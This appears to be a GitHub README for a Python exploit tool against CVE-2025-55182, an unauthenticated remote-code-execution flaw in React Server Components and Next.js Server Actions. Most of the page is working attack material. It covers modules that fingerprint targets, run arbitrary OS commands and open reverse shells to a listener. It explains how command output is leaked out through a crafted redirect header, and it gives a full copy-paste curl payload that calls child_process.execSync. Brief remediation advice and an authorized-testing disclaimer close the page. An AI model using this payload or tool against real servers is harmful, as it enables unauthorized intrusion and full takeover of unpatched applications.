Skip to content

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

CVE-2025-55182 — React2Shell

Unauthenticated RCE in React Server Components via insecure deserialization of the Flight protocol. A single HTTP request is enough to execute arbitrary code on the server — no credentials, no prior access needed.

   _____                  __  _  __
  / ___/____  ___  ____ _/ /_| |/ /
  \__ \/ __ \/ _ \/ __ `/ __/   /
 ___/ / /_/ /  __/ /_/ / /_/   |
/____/ .___/\___/\__,_/\__/_/|_|
    /_/
      React Server Components — Flight Protocol RCE
               CVE-2025-55182  ·  CVSS 10.0
           Author: SpeatX  ·  OSCP Style  ·  v1.0

CVE-2025-55182 · CVSS 10.0 · Unauthenticated · Pre-auth RCE · Disclosed December 3, 2025

Affects React 19 (≤ 19.2.0) and any Next.js application using Server Actions. Default configurations are vulnerable — no custom code needed on the target side.

Affected versions

Package Vulnerable Fixed
react-server 19.0.0 → 19.2.0 19.3.0+
next all with React 19 unpatched 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6+

Installation

git clone https://github.com/SpeatX/react2shell
cd react2shell
pip install requests

Python 3.8+ required. No other dependencies.


Usage

python exploit.py <module> -t <target> [options]
Modules:
  check      Fingerprint target and confirm vulnerability
  exec       Execute a single OS command and read the output
  revshell   Send a reverse shell to your listener

Options:
  -t, --target URL      Target URL
  -c CMD                Command to run  (exec module)
  --lhost IP            Your IP  (auto-detected from tun0 if not set)
  --lport PORT          Listening port  (default: 4444)
  --shell-type TYPE     bash · python3 · nc · mkfifo · node  (default: bash)
  --proxy URL           Route through a proxy  (e.g. http://127.0.0.1:8080)
  --random-agent        Rotate User-Agent on each request
  --timeout N           Request timeout  (default: 15)

Recommended workflow — always start with check:

# 1. Confirm the target is vulnerable
python exploit.py check -t http://10.10.11.50

# 2. Run commands to enumerate or grab flags
python exploit.py exec -t http://10.10.11.50 -c "id"
python exploit.py exec -t http://10.10.11.50 -c "cat /root/root.txt"

# 3. Get a shell when you need interactivity
#    (start your listener first: nc -lvnp 4444)
python exploit.py revshell -t http://10.10.11.50
python exploit.py revshell -t http://10.10.11.50 --lhost 10.10.14.5 --lport 4444
python exploit.py revshell -t http://10.10.11.50 --shell-type python3 --lport 9001

Proxy support and random User-Agent work with any module:

python exploit.py check   -t http://10.10.11.50 --proxy http://127.0.0.1:8080
python exploit.py exec    -t http://10.10.11.50 -c "whoami" --random-agent
python exploit.py revshell -t http://10.10.11.50 --proxy http://127.0.0.1:8080

Per-module help: python exploit.py <module> --help


How it works

Background

React Server Components communicate using an internal streaming format called the Flight protocol. When a browser invokes a Server Action, it sends a multipart/form-data POST to the app root with a Next-Action header. The server passes the body to the react-server package for deserialization before doing anything else — including validating the action ID.

Browser                         Node.js / Next.js
  │                                    │
  │── POST /  ────────────────────────>│
  │   Next-Action: x                   │
  │   Content-Type: multipart/form-data│
  │   Body: poisoned Flight chunk      │
  │                                    │
  │                    react-server    │
  │             resolveModelToJSON()   │  ← vulnerable
  │                                    │
  │<── 307 + X-Action-Redirect ───────│  output here

The bug

Inside resolveModelToJSON(), the deserializer walks the incoming JSON chunk. When it encounters an object with a then property it treats it as a Promise and awaits it — intentional behaviour for async Server Components. The problem: no validation is done to confirm the thenable came from a trusted source.

An attacker injects a fake chunk into the multipart body containing a then property that points to require('child_process').execSync(...). React awaits it, the OS command runs.

Why Next-Action: x works

In production, Server Actions are identified by a SHA hash. The server should validate this before processing. But the Flight decoder runs before that check — meaning any POST with a Next-Action header, even a completely fake one like x, triggers the vulnerable deserialization path. No valid action ID is needed.

Output exfiltration

The injected code captures the command output and throws a crafted NEXT_REDIRECT error:

var res = require('child_process').execSync('<cmd>').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'), {
  digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});

Next.js catches this and converts it to a 307 Temporary Redirect, embedding the digest in the X-Action-Redirect response header. The command output arrives URL-encoded:

HTTP/1.1 307 Temporary Redirect
X-Action-Redirect: /login?a=uid%3D0%28root%29%20gid%3D0%28root%29;307;

Manual exploitation with curl

curl -si -X POST http://TARGET/ \
  -H 'Next-Action: x' \
  -H 'Content-Type: multipart/form-data; boundary=----Boundary' \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim().replace(/\\\\n/g,\' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------Boundary--\r\n'

Output is in the X-Action-Redirect header, URL-encoded after /login?a=.


Remediation

npm install react@latest react-dom@latest next@latest

Minimum safe: react-server ≥ 19.3.0 · next ≥ 15.3.6

If patching is not immediately possible:

  • Set experimental: { serverActions: false } in next.config.js
  • Block the Next-Action header at the reverse proxy level
  • WAF rule: reject POST bodies containing NEXT_REDIRECT or __proto__

References


For authorized penetration testing and educational purposes only.

About

CVE-2025-55182 — Unauthenticated RCE in React Server Components (React2Shell). CVSS 10.0 exploit tool for authorized penetration testing.

Topics

Resources

Stars

2 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages